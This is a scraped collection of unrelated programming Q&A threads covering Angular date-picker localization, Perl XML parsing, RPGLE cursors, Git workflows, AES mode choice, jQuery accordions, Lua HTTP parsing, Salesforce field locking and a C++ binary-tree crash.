        if let error = error {
            spinner.startAnimating()
            self.alert("Opps", textMessage: (error.localizedDescription))
        } else {
            spinner.startAnimating()
            self.alert("Congratualtion!", textMessage: "Success, your account has been created.")
            callSegue()
        }
    }
} else {
    alert("Hmm...", textMessage: "If you want an account, please fill in the blanks.")
}
}

func callSegue()
{
   self.performSegueWithIdentifier("showMessages", sender: self)
}


text:
Q: Can't see published ASP.NET MVC website I published my finalized ASP.NET MVC 4 web application through FTP using Visual Studio 2012 publishing method. My webhost is Strato.de.
The problem is that when I try to access the website's domain, it says "This domain is now reserved, but no content was uploaded". I checked the ftp server using Filezilla, and all the published files are there. I really don't know why I can't see the website.
Here is a snapshot of the files from Filezilla:
http://i60.tinypic.com/zjxle1.jpg

A: That sounds like the "splash" page or default web site on your domain provider. Many providers like GoDaddy want you to also buy web hosting from them, so they initially set your DNS records to a temporary shared hosting-type account with a default website inside. Make sure your DNS records/namespace servers are set to your actual hosting provider.


text:
Q: Variety but not group automorphism of $GL(n)$ Are there some variety automorphisms of the affine variety $GL(n)$ that are not group automorphisms? (no restiction on the field of definition)

A: Left (or right) multiplication by an invertible matrix is an automorphism which does not fix the unit, hence is not a group automorphism. The transposition is another example. In fact
$$
\mathrm{Aut}(\mathrm{GL}_n) \supset
\left(\frac{\mathrm{GL}_n \times \mathrm{GL}_n}{\mathrm{G}_{\mathrm{m}}}\right) \rtimes \mathbb{Z}/2,
$$
while group automorphisms is the group $\mathrm{PGL}_n$ embedded diagonally.


text:
Q: Angular Owl Date Time Picker Labels and Buttons not localized In the Owl Date Time Picker, the From and To labels, as well as Set and Cancel buttons are not localized. My code for specifying the locale is:
constructor(
  private dateTimeAdapter: DateTimeAdapter<any>
) {
    dateTimeAdapter.setLocale(localStorage.getItem('localeId'));
}

Tried with de, fr, zh

"ng-pick-datetime": "^7.0.0"
What could be the issue?
Edit:
To test, I tried:
import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { AppRoutingModule } from './app-routing.module';
import { AppComponent } from './app.component';
import { BrowserAnimationsModule } from '@angular/platform-browser/animations';
import { SampleTableComponent } from './sample-table/sample-table.component';
import { MaterialModule } from './material.module';
import { MatFormComponent } from './mat-form/mat-form.component';
import { FormsModule, ReactiveFormsModule } from '@angular/forms';
import { OwlDateTimeModule, OwlNativeDateTimeModule, OwlDateTimeIntl } from 'ng-pick-datetime';

export class DefaultIntl extends OwlDateTimeIntl {
  cancelBtnLabel: 'C';
  setBtnLabel: 'S';
  rangeFromLabel: 'F';
  rangeToLabel: 'T';
}

@NgModule({
  declarations: [
    AppComponent,
    SampleTableComponent,
    MatFormComponent
  ],
  imports: [
    BrowserModule,
    AppRoutingModule,
    FormsModule,
    ReactiveFormsModule,
    BrowserAnimationsModule,
    MaterialModule,
    OwlDateTimeModule,
    OwlNativeDateTimeModule,
  ],
  providers: [{provide: OwlDateTimeIntl, useClass: DefaultIntl}],
  bootstrap: [AppComponent]
})
export class AppModule { }

But I'm still seeing From, To, Set, Cancel

A: Localization for different languages and formats is defined by OWL_DATE_TIME_LOCALE and OWL_DATE_TIME_FORMATS. Here's the official doc.
Setting the locale:
By default, the OWL_DATE_TIME_LOCALE injection token will use the existing LOCALE_ID locale code from @angular/core. If you want to override it, you can provide a new value for the OWL_DATE_TIME_LOCALE token:
import { NgModule } from '@angular/core';
import { OWL_DATE_TIME_LOCALE } from 'ng-pick-datetime';

@NgModule({
  providers: [
    // use french locale
    {provide: OWL_DATE_TIME_LOCALE, useValue: 'fr'},
  ],
})
export class AppExampleModule {
}

It's also possible to set the locale at runtime using the setLocale() method of the DateTimeAdapter.
import { Component } from '@angular/core';
import { DateTimeAdapter } from 'ng-pick-datetime';

@Component({
  selector: 'app-example',
  templateUrl: 'app-example.html',
})
export class AppExample {
    constructor(dateTimeAdapter: DateTimeAdapter<any>) {
        dateAdapter.setLocale('ja-JP'); // change locale to Japanese
    }
}

In these examples french and japaneese are used - in your case it would be zh
In your case the labels and messages seem to be not localized - try the following and adjust the strings to your needs (I believe Chineese but please correct me if I'm wrong):
import { NgModule } from '@angular/core';
import { OwlDateTimeModule, OwlNativeDateTimeModule, OwlDateTimeIntl} from 'ng-pick-datetime';

// here is the default text string - just adjust the strings to reflect your preferred language
export class DefaultIntl extends OwlDateTimeIntl = {
    /** A label for the up second button (used by screen readers).  */
    upSecondLabel= 'Add a second',

    /** A label for the down second button (used by screen readers).  */
    downSecondLabel= 'Minus a second',

    /** A label for the up minute button (used by screen readers).  */
    upMinuteLabel= 'Add a minute',

    /** A label for the down minute button (used by screen readers).  */
    downMinuteLabel= 'Minus a minute',

    /** A label for the up hour button (used by screen readers).  */
    upHourLabel= 'Add a hour',

    /** A label for the down hour button (used by screen readers).  */
    downHourLabel= 'Minus a hour',

    /** A label for the previous month button (used by screen readers). */
    prevMonthLabel= 'Previous month',

    /** A label for the next month button (used by screen readers). */
    nextMonthLabel= 'Next month',

    /** A label for the previous year button (used by screen readers). */
    prevYearLabel= 'Previous year',

    /** A label for the next year button (used by screen readers). */
    nextYearLabel= 'Next year',

    /** A label for the previous multi-year button (used by screen readers). */
    prevMultiYearLabel= 'Previous 21 years',

    /** A label for the next multi-year button (used by screen readers). */
    nextMultiYearLabel= 'Next 21 years',

    /** A label for the 'switch to month view' button (used by screen readers). */
    switchToMonthViewLabel= 'Change to month view',

    /** A label for the 'switch to year view' button (used by screen readers). */
    switchToMultiYearViewLabel= 'Choose month and year',

    /** A label for the cancel button */
    cancelBtnLabel= 'Cancel',

    /** A label for the set button */
    setBtnLabel= 'Set',

    /** A label for the range 'from' in picker info */
    rangeFromLabel= 'From',

    /** A label for the range 'to' in picker info */
    rangeToLabel= 'To',

    /** A label for the hour12 button (AM) */
    hour12AMLabel= 'AM',

    /** A label for the hour12 button (PM) */
    hour12PMLabel= 'PM',
};

@NgModule({
    imports: [OwlDateTimeModule, OwlNativeDateTimeModule],
    providers: [
        {provide: OwlDateTimeIntl, useClass: DefaultIntl},
    ],
})
export class AppExampleModule {
}

Source: Official-docs

A: ok, none worked for me, except this one, not sure if it's the right aproach tho....

*

*my multiple locales are separated in multiple json files (the keys in json must have the same names like in interface OwlDateTimeIntl)

"owl.datetime.component" : {
    "cancelBtnLabel": "Cancel, bye",
    "setBtnLabel": "Set or whatever"
},

*in appmodule constructor, inject the OwlDateTimeIntl and translateService, then subscribe to translateService onLangChange,

export class AppModule {
    constructor(languageService: LanguageService,
                translateService: TranslateService,
                dateTimeAdapter: DateTimeAdapter<any>,
                owlDateTime: OwlDateTimeIntl)
    {
        languageService.langChanged$.subscribe(lang => {
                translateService.use(lang);
                dateTimeAdapter.setLocale(lang);
            }
        );
        InjectorService.injector = injector;
        translateService.onLangChange.subscribe(() => {
            this.updateOWlDateTime(owlDateTime, translateService);
        });
    }

*then just use translator service to override values in OwlDateTimeIntl (I used the for loop to set all what the json contains)

private updateOWlDateTime(owlDateTime: OwlDateTimeIntl, translateService: TranslateService) {
    const owlLocalizedValues = translateService.instant('owl.datetime.component');
    for (const key in owlLocalizedValues) {
        owlDateTime[key] = owlLocalizedValues[key];
    }
    owlDateTime.changes.next();
}

A: import { NgModule } from '@angular/core';
import { BrowserModule } from '@angular/platform-browser';
import { FormsModule } from '@angular/forms';
import {BrowserAnimationsModule} from '@angular/platform-browser/animations';

import { AppComponent } from './app.component';
import { HelloComponent } from './hello.component';

 import { OwlDateTimeModule, OwlNativeDateTimeModule } from 'ng-pick-datetime';
 import { OWL_DATE_TIME_LOCALE } from 'ng-pick-datetime';

@NgModule({
  imports:      [ BrowserModule, BrowserAnimationsModule, FormsModule, OwlDateTimeModule, OwlNativeDateTimeModule ],
  declarations: [ AppComponent, HelloComponent ],
  bootstrap:    [ AppComponent ],
  providers: [
    // use french locale
    {provide: OWL_DATE_TIME_LOCALE, useValue: 'fr'},
  ]`enter code here`
})
export class AppModule { }

    enter code here


text:
Q: Using my() changes XML::Bare behavior drastically When I run this Perl script:
#!/bin/perl
use XML::Bare;
$ob = new XML::Bare(text=>'<xml><name>Bob</name></xml>');
for $i (keys %{$ob->{xml}}) {print "KEY: $i\n";}

I get no output. However, if I put $ob inside a my():
#!/bin/perl
use XML::Bare;
my($ob) = new XML::Bare(text=>'<xml><name>Bob</name></xml>');
for $i (keys %{$ob->{xml}}) {print "KEY: $i\n";}

I get this output:
KEY: _z
KEY: _i
KEY: xml
KEY: _pos

Why does my() change this behavior so drastically, especially given
that I'm at the top level where my() should have no effect at all?

A: First of all, you should always begin your Perl scripts with
use strict;
use warnings;

This will force you to declare all your variables with my which catches many typos and simple mistakes.
In your case, it's not actually the my that causes the changed behavior, but the parentheses, which put $ob in list context.
Looking at the source of XML::Bare, we find this in the constructor:
sub new {
    ...
    bless $self, $class;
    return $self if ( !wantarray );
    return ( $self, $self->parse() );
}

Notice that the second return line calls ->parse on the new object for you, which you forgot to do in your first example, which is why that one didn't have any data in it.
So you can say
my $obj = XML::Bare->new(text=>'<xml><name>Bob</name></xml>'); # in scalar context
$obj->parse;

Or
my ( $obj ) = XML::Bare->new(text=>'<xml><name>Bob</name></xml>'); # in list context

and they should be equivalent.
This is a pretty strange interface choice, but I'm not familiar with XML::Bare.
Notice also that I've avoided indirect method syntax (XML::Bare->new instead of new XML::Bare). This helps to avoid some nasty problems.

A: The XML::Bare module is intentionally designed to work in 2 different ways.
Way #1:
my $ob = XML::Bare->new( text => "<xml/>" );
my $tree = $ob->parse();

Way #2:
my ( $ob, $tree ) = XML::Bare->new( text => "<xml/>" );

You are using the module in an undocumented way #3:
my ( $ob ) = XML::Bare->new( text => "<xml/>" );
my $tree = $ob->{'xml'};

This third way happens to work, because the module stores the tree within it's own object. I would recommend avoiding using it in this way, because it is confusing, and may change in future versions of the module.


text:
Q: Declare cursor is not executing I have converted one RPGLE program to SQLRPGLE, i did that many times. strange issues i am facing this time.
(1) SQLCODE setting up to 077952576 as soon as program executing, not sure why.
(2) when i am running in debug Declare cursor statement is not getting executed, nut other following sql statement getting hit.
  Exec Sql
     DECLARE My_cursor CURSOR for
     select * FROM File1    where FLAG <> 'Y'
     Order by Field1, Field2, Field3, Field4, Field5;

Please advise, Thanks

A: DECLARE CURSOR is not an executable statement.  It's a compile time statement.
You shouldn't be checking SQLCODE/SQLSTATE after it...
Take a look at this program...
**FREE
ctl-opt main(mymain);
ctl-opt option(*srcstmt);
ctl-opt datfmt(*ISO) timfmt(*ISO);
ctl-opt cvtopt(*NODATETIME);

dcl-proc MyMain;
  dcl-s company char(3);
  dcl-s part    char(25);
  dcl-s desc    char(30);
  dcl-s msg     char(50);
  dcl-s selComp char(3);
  dcl-s myTimestamp timestamp;

  exec sql
    set option
       datfmt=*ISO, timfmt=*ISO;

  selComp = 'A06';
  exsr OpenCursor;
  exsr FetchData;
  exec SQL close C1;

  selComp = 'A15';
  exsr OpenCursor;
  exsr FetchData;
  exec SQL close C1;

  *INLR = *ON;
  return;

  begsr DeclareCursor;
     exec SQL
       declare C1 cursor for
          select pmco#, pmpart, pmdesc
           from pdpmast
           where pmco# = :selComp;
  endsr;

  begsr OpenCursor;
    exec SQL open C1;
  endsr;

  begsr FetchData;
    exec sql fetch next from C1 into :company, :part, :desc;
    msg = company + ':' + part + ':' + desc;
    dsply msg;
  endsr;
end-proc;

Note that this is a working (example) program.   But the DeclareCursor subroutine is never actually called!  It doesn't need to be, even though a host variable is used in the WHERE clause.
The value of the host variable is use when the OPEN is executed.
Also note that in embedded SQL as shown above, SET OPTION is a compile time statement.  In fact, there can only be a single SET OPTION statement in the entire source member and it must be the first SQL statement that the pre-compiler sees.


text:
Q: BitBucket shows two commits from two different branches I have the following problem. When I create a pull request in BitBucket and look at the commits, I see a list of commits from two different branches. One commit of the target Branch and one commit of another branch. The other branch I already pushed to BitBucket (but not created a pull request of this). How can I fix this?
Thank you for your help!

A: You are probably in a situation where you based your development on another branch, which isn't merged in master yet.
One of the two following diagrams :
* ee3127 (master) some more commits on master
| * dd7162 (feature) the feature I want to merge into master
| | * cc8763 (otherbranch) some other undergoing development
| |/
| * bb7672 a commit, which is not part of master
|/
* aa8179 the state of master when one of the branch was created

If you want a branch, which forks off master, and contains only the commits found "only in feature", you can use rebase :
# the 'bb' commit represents the fork point between your branch and otherbranch
git rebase --onto master bb7672 feature


text:
Q: Read DOC and DOCX files in C# I'm trying to read Word files with C#. I just need the text from the word document.
I'm using NetOffice library. It works ok if there is Micorsoft Word installed on the machine, but throws  exception if the MS Word isn't installed.
Error: "Word.ApplicationNetOffice progId not found. Word.Application at NetOffice.COMObject.CreateFromProgId(String progId)"
I'm guessing that this doesn't work because NetOffice uses Interop for manipulating word files. Are there any open source libraries that can read DOC or DOCX files (or one library for DOC and one for DOCX)?

A: OpenXML SDK is available for free and supports .docx and other office 2007+ formats.
Aspose.Words is commercial, but does offer support for .doc files (among others).


text:
Q: AES Encryption algorithms and padding scheme Hello currently i have to do an AES encription and send it to an external SW but i am having trouble with the sonarqube.
this is the relevant part of my current code:
String encriptedPad = afegir0Multiple8(Hex.encodeHexString(encriptar.getBytes()));
    String cadenaAmb0 = afegir0Multiple8(encriptar);  //Creem un cadena amb la longitut que necessitem
    byte[] cadenaRes = cadenaAmb0.getBytes();  //Cadena resultant per encriptar
    //Clau
    byte[] hexclaub = DatatypeConverter.parseHexBinary(claveCifradoRedsa);
    SecretKeySpec key = new SecretKeySpec(ArrayUtils.addAll(hexclaub,ArrayUtils.subarray(hexclaub,0,8)), "AES");

    //Vector Init
    String v = vectorInicial;
    IvParameterSpec ivectorSpecv = new IvParameterSpec(v.getBytes("UTF-8"));

    //Encriptem
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
    cipher.init(Cipher.ENCRYPT_MODE, key, ivectorSpecv);
    byte[] encrypted = cipher.doFinal(cadenaRes);

Is a little spaguetti cause it´s recyclated for an old code (TripleDES) sorry for that.
But we can get the gist of it that`s that we are using an AES configuration with AES/CBC/PKCS5PADDING
the thing is that our sonarqube is getting this output when i send this code:

Could someone explain me a little about oracle padding attacks and if there is some impact using the instance recommended by sonar? I am quite lost with encryption
pd: The SW has accepted to change the configuration but i would like to understand why i have to use one specific configuration above others
thanks

A: Well the question is already solved thanks to @Topaco in the comments below. I will update my code here in order to make this question answered.
My current Code looks like this:
@Override
public Map execute(Map in) throws Exception {
    log.info("********** CIFRADO AES ACTION ****************");
    Map params = (Map) in.get("request_params");
    Map resultado = new HashMap();
    resultado.put("clave", encriptarAES((String) in.get("encriptar"),(String) in.get("claveCifrado"),(String) in.get("vectorInicial")));
    return resultado;
}

private String encriptarAES(String encriptar, String claveCifradoRedsa, String vectorInicial) throws Exception {
    SecretKey key = new SecretKeySpec(claveCifradoRedsa.getBytes(), "AES");
    key =  new SecretKeySpec(key.getEncoded(), "AES");
    //Encriptem
    GCMParameterSpec ivParameterSpec = new GCMParameterSpec(128, vectorInicial.getBytes());

    Cipher cipher = Cipher.getInstance(instance);
    cipher.init(Cipher.ENCRYPT_MODE, key, ivParameterSpec);
    byte[] encrypted = cipher.doFinal(encriptar.getBytes());
    String codificado64 = Base64.getUrlEncoder().encodeToString(encrypted);
    log.info(encriptar);
    log.info(codificado64);
    log.info("************************ FIN CIFRADO AES ACTION ***********************");
    return codificado64;
}

I think it a pretty clean example of AES encryption, hope it´s useful to someone


text:
Q: Need curl wait for response until the next execution I sent 50-100 requests to my API at one time with curl, but I got this error :"This object cannot be accessed right now because another API request process is currently accessing it." So I really need to wait for the response of the recently request then execute the next request. How can I do that?
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'site');
curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('$header'));
curl_setopt($ch, CURLOPT_POSTFIELDS, '$postfield');

$result = curl_exec($ch);


text:
Q: Git with daily production deployment There is a requirement by the customer to have daily production deployments with features that were scheduled a day ago. I wanna introduce code reviews but I am not sure were to start.
They use Git as SCM.
Currently there are 3 branches:

*

*master - represents the development machine and internal tests

*test - customer test

*prod - well...production

If there should be a change (doesn't matter what, feature, change, bugfix ...) the "workflow" is the following:

*

*new (feature-)branch (A) from production

*writes some code and commits into A

*merges A into master

*develop tests A

*internal QA notices a bug

*new commit in A and merge into master

*QA says its okay

*merges A into test

*customer says it's okay

*customer says it should go live tomorrow

*one admin and 1 - 2 devs are merging that feature(s) into prod

*deployment starts with the production branch

Assuming that happens in parallel and with at least 2 features in parallel development that can cause a lot of pain.

*

*no reproduceable builds

*on every stage is a different state

*merge conflicts in prod

*and many more things I don't even think of yet

So my question is: What could be a good branching structure where daily production deployments of specific feature(s) is possible?
Currently it's easy to see: it's a pure mess. You don't have to name it. :D
By the way, they merge, they do never rebase a change.
If it is relevant we use GitLab Community Edition and deploy via a Jenkins job.

A: Re "no reproduceable builds": If you tag your commits, builds based on those tags are reproducible.
Tags also help to avoid multiple branches:
           P1                                          P2     P3
master ----o-------------------------------------------o------o
            \                                         /      /
          A  +------o-----------o----------o---------o      /
              \ A-QA1(bug)  A-QA2(OK)  A-C1(bug)  A-C2(OK) /
               \                                          /
             B  +-------o-----------o----------o---------o
                    B-QA1(bug)  B-QA2(OK)  B-C1(bug)  B-C2(OK)

Tags:
P1 .... latest production deployment, new (feature-)branch from production
QA1 ... develop tests, internal QA notices a bug
QA2 ... new commit in <branch>, QA says it's okay
C1 .... customer says it's not OK
C2 .... customer says it's okay
P2..n .... new production deployment(s)
Re "on every stage is a different state": There's just one state that's the point of reference at any given point in time and it's on master.
Re "merge conflicts in prod": There is no merge conflict from P1 to P2. Merge conflicts are not prevented from P2 to P3, of course, but not spread across multiple branches, at least.


text:
Q: Only One Accordion Panel Open At A Time

$(document).ready(function(){
 var allPanels = $('.accordian li div');

 allPanels.hide();
 $('#nav-list li a').click(function() {
  var id;

  if(this.id == id) {
   allPanels.slideUp('slow');
   alert("hello");
  }
  else {
   allPanels.slideUp('slow');
   $(this).parent('li').find('div').toggle('slow');
   id = this.id;
  }

  return false;

 });
});
.accordian  {

 width: 300px;
 height: 400px;
}

.accordian li {
 width: 100%;
 list-style-type: none;
 padding: 10px;
    border: 1px solid black;
    border-bottom: 0;

}
.accordian li:last-child {
 border-bottom: 1px solid black;
}
.accordian a {
 display: block;
 width: 100%;
 color: black;
 text-decoration: none;
 font-weight: bold;
 background-color: #a3a3a3;
}
.contentArea {
 border-top: 0;
    font-size: 12px;
    background-color: #7BBF6A;
}

   Some Text

    "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

   Some Text

    "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

   Some Text

    "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

   Some Text

    "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

   Some Text

    "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

   Some Text

    "Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum."

Have this simple accordion and would like to only have one accordion panel open at a time. My code works until I click on the same panel twice trying to close it. It won't close and it always has one panel open. Can anyone point out where I went wrong with my logic and how to fix it? I've included a code snippet:

A: OK, another try with a different/simple way to do an accordian with JQuery.
First, the basic HTML.  There are two classes used .. no real css, just used class names as selectors.  There are .selector div's and .text divs.  You can see this in action at http://www.infohio.org/sample.

Select 1

Text Goes Here

Select 2

Text Goes Here

Select 3

Text Goes Here

Select 4

Text Goes Here

And the JQuery:
jQuery(function($) {
   $(".selector").on("click",function() {
      var id=$(this).attr("id").replace("select","");
      $(".text").hide();
      $("#text"+id).show(500);
   });
});

When the selector is clicked, it uses the selector ID to get the associated text ID.  Then all the .text div's are hidden and the selected .text div is shown.

A: *

*The problem why your alert section is never true because, you have
set the var id; as a local variable. Because of that value is
never stored , and it always remains undefined whenever click
function is executed, Hence make it global variable.

*There is another problem, you have written click event for
    anchor tag $('#nav-list li a').click(function() {...}, hence this.id will try retreive id of anchor and not of li,
hence u
    need to change the id to anchor tag.
JS:
$(document).ready(function(){
    var allPanels = $('.accordian li div');

    var id;
    allPanels.hide();
    $('#nav-list li a').click(function() {
        if(this.id == id) {
            allPanels.slideUp('slow');
            alert("hello");
        }
        else {
            allPanels.slideUp('slow');
            $(this).parent('li').find('div').toggle('slow');
            id = this.id;
        }
        return false;
    });
});

Or you could make the var id;global and get the id of the parent i.e li instead of moving the id to anchor tag.
DEMO
JS:
$(document).ready(function(){
    var allPanels = $('.accordian li div');

var id;
    allPanels.hide();
    $('#nav-list li a').click(function() {
        if($(this).closest('li').attr('id') == id) {
            $(this).parent('li').find('div').toggle('slow');
        }
        else {
            allPanels.slideUp('slow');
            $(this).parent('li').find('div').toggle('slow');
            id = $(this).closest('li').attr('id');
        }
        return false;
    });
});


text:
Q: image saved as blob does not display I have followed these examples

*

*PHP display image BLOB from MySQL

*How to display an BLOB image stored in MySql database?
Have same way of displaying image saved as blob. I have field name picture longblob

if ( ! $(this).prev().hasClass('input-ghost') ) {
    var element = $("<input type='file' class='input-ghost' style='visibility:hidden; height:0'>");
    element.attr("name",$(this).attr("name"));
    element.change(function(){
     element.next(element).find('input').val((element.val()).split('\\').pop());
    });

to save in table  i put it in an array and save in table along other fields

saved in db like this now i want to display image in table row it in table row
by using this

 echo '';?>

It gives error of

Cannot use object of type stdClass as array in

I want to display image as well as allow to download it

After implementing @Hassaan's answer I got the following output.

A: It seems to be you are using OOP method of Database connection. I hope the following will resolve the issue.
Replace
$row['Picture_File']

into
$row->Picture_File

Full line of code
echo 'Picture_File).'">';

NOTE:
Make sure to change mime type near image/png; to respective.
For example if jpg then change into image/jpeg; etc

Tip
While save image as blob into database, you may need to store mime type too.


text:
Q: How to fetch HTTP response body with lua? I need to parse retreived text from HTTP GET request. I am using Lua on NodeMCU and I am not very familiar with it.
I am using script to fetch response and to split it one row at a time using this script
local nStart, nEnd = string.find(c, "\n\n")
if (nEnde == nil) then
    nStart, nEnd = string.find(c, "\r\n\r\n")
end
c = string.sub(c,nEnd+1)
print("length: "..string.len(c))
data = mysplit(c, "\n") -- fill the field with filenames

HTTP GET request looks like this
GET /lua/node.php?id=4022029&list HTTP/1.1
Host: mydomain.com
Accept: */*
User-Agent: Mozilla/4.0 (compatible; esp8266 Lua;)

When I print HTTP response, it looks like this
HTTP/1.1 200 OK
Date: Tue, 28 Nov 2017 01:05:12 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=23p8rtds43pd1662ncm5cjhrl3; path=/
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8

When I type mydomain.com/lua/node.php?id=4022029&list, I get a list of files as a text one bellow other, but this script is not fetching anything. It looks like there is no body. What am I missing here?
Update,
My script is working when fetching data from HTTP which is not encoding data chunked, but I am not able to fetch it from chunked encoding.

A:
Transfer-Encoding: chunked

The server you are connecting to is using chunked encoding, which means the header should be followed by one or more chunks that consist of chunk length and the content. It looks like either you haven't finished reading the content or the library you are using doesn't handle the chunked content for some reason.


text:
Q: Is it acceptable to spell fantasy with PH instead of F? I know it used to be spelled that way. I'm just wondering if it's still acceptable.

A: From the ODO:

phantasy, n.
Variant spelling of fantasy (restricted to archaic uses or, in modern use, to the fields of psychology and psychiatry).

As seen in an ngram, phantasy is still used, albeit much more rarely.

So yes, it is still acceptable (you might get a few weird looks though, depending on context).


text:
Q: This problem with the dinamic select options My modal component has a select block whose options are created using data from the server when the component is loaded. But since the function of calling data from the server works asynchronously, I can't draw my options dynamically, can you please help me?
My code:

async optionList(id){
  if(id){
    let res = await this.$store.dispatch('getAxios', {url: 'page/option/'+id})
    console.log(res.data);
    return res.data
  }
}


text:
Q: How to configure Grep Console for Intellij I installed plugin for colorful console output for Intellij - Grep Console
I configured it for good looking.
But I have some trouble for configuring output for Exceptions.
It filled only some part of thrown exception:

Here how looks configuration for this plugin:

It uses next regular expression for Exception:

[Exception].*

How to include rest part of thrown exception with regular expression?

A: Tick Enable multiline output to color, also following lines which do not contain Exception.


text:
Q: Is there any way to restrict a custom 'Text' type field to be updated manually or by Dataloader I have a custom field which I do not want even 'System Admins' to update both via manually or data-loader. It needs to be only updated by trigger or via workflow rule. Is there any way to achieve this ?
If I put validation rule then it will fire with trigger too. Any workaround to achieve this ?
Thanks!

A: @Ruchi -- Let's go back to First Principles:

*

*All changes to the database occur in the context of some running user

*A change to the database can be prevented by a Validation Rule (VR) or addError(..) method on the record being updated via an insert or update

*The VR or addError is executed using the running user's permissions

So, a sysad submitting a change to a field via any client to the SFDC domain layer (triggers/VRs) will, unless prevented by the VR or trigger, always be able to update the value because a sysad has Modify All Data permissions.
When businesses want to prevent sysads from altering SFDC data, they introduce VRs and/or addError(..); otherwise, they trust the Sysad to be responsible.
So, how might you change the database using a different running user than the user that submitted the transaction?  Put the request for change in an object and schedule a job that runs under a different user to do the updates asynchronously.  How this would solve your specific problem is unclear to me as ultimately, there has to be business logic that prevents the user from entering a transaction that can corrupt the database

A: Here is the solution:-
Restriction for:-
1) Manual Update - We can make custom field read-only on Page Layouts.
2) Data Loader - We can add a condition in existing Apex Trigger to compare old and new values for custom field. If old and new values differ which mean it was updated by Dataloader and we can throw an error message.
Apex Code:-
trigger RestrictValue on Account ( Before Update ){
for ( Account a : Trigger.New ){
if ( Trigger.OldMap.Get().CustomField__c != a.CustomField__c)
    a.addError('You can not update this field by Data Loader');
else
    a.CustomField__c = fieldValue ;

}
}
In the above code, trigger will take care of update if not using data loader because the old and new value will be remain the same until it reaches the line of code where we actually updating the value of custom field.
3) Workflow Field Update :- We need to compare old and new value in Workflow condition before updating the new custom field value.
Thanks.


text:
Q: Core dump while implementing binary tree travers I trying to implement binary tree with persons.
Any person got father and mother.
In my main() function it works good until I add person to my first "X"s father.
My main gets Aborted (core dumped) error on the 4th addFather("Y","F") call, and I cant realize what is my fault.
Person& findPerson(Person* root, string child_name){
    if(root == nullptr) throw exception();
    else if(root->name.compare(child_name) == 0) return *root;
    else{
        if(root->father == nullptr)return findPerson(root->mother, child_name);
        else if(root->mother == nullptr)return findPerson(root->father, child_name);
        else {
            return findPerson(root->mother, child_name);
            return findPerson(root->father, child_name);
        }

    }
}

family::Person::Person(string person_name){
    name = person_name;
    father = nullptr;
    mother = nullptr;

};

family::Person::Person(string person_name, bool is_male){
    name = person_name;
    father = nullptr;
    mother = nullptr;
    isMale = is_male;

};

// TREE
family::Tree::Tree(string name){
    root = new Person(name);
};

family::Tree& Tree::addFather(string child, string father){
    Person& child_found = findPerson(root, child);
    Person* f = new Person(father, true);
    child_found.father = f;

    return *this;
    };

family::Tree& family::Tree::addMother(string child, string mother){
    Person& child_found = findPerson(root, child);
    Person* f = new Person(mother, false);
    child_found.mother = f;
    return *this;
    };
int main(){
    Tree t("X");

    t.addFather("X","Y");
    t.addMother("X", "Z");
    t.addFather("Z", "W");
    t.addFather("Y","F");
    return 0;
}

A: Your code needs work, but one hint is that if you throw an exception you must catch it. It is not well defined in C++ what happens when an exception is not caught, and so this may well be your problem.
So, for example the,
if(root->father == nullptr)return findPerson(root->mother, child_name);

does not check if BOTH mother & father are null. If they are, it will call findPerson with nullptr. This will then make the function throw.
As a hint, on a linux system, the best way to find these issues is to use gdb. The command "catch throw" followed by "start" and the "continue", will catch any exceptions thrown. "bt" will then show you how you got there. GDB is (lets face it) an awful throw-back, which is impenetrable to most beginners, however, just like vi, it is a good skill to know at least the basics.
Quick start guide.
https://beej.us/guide/bggdb/


text:
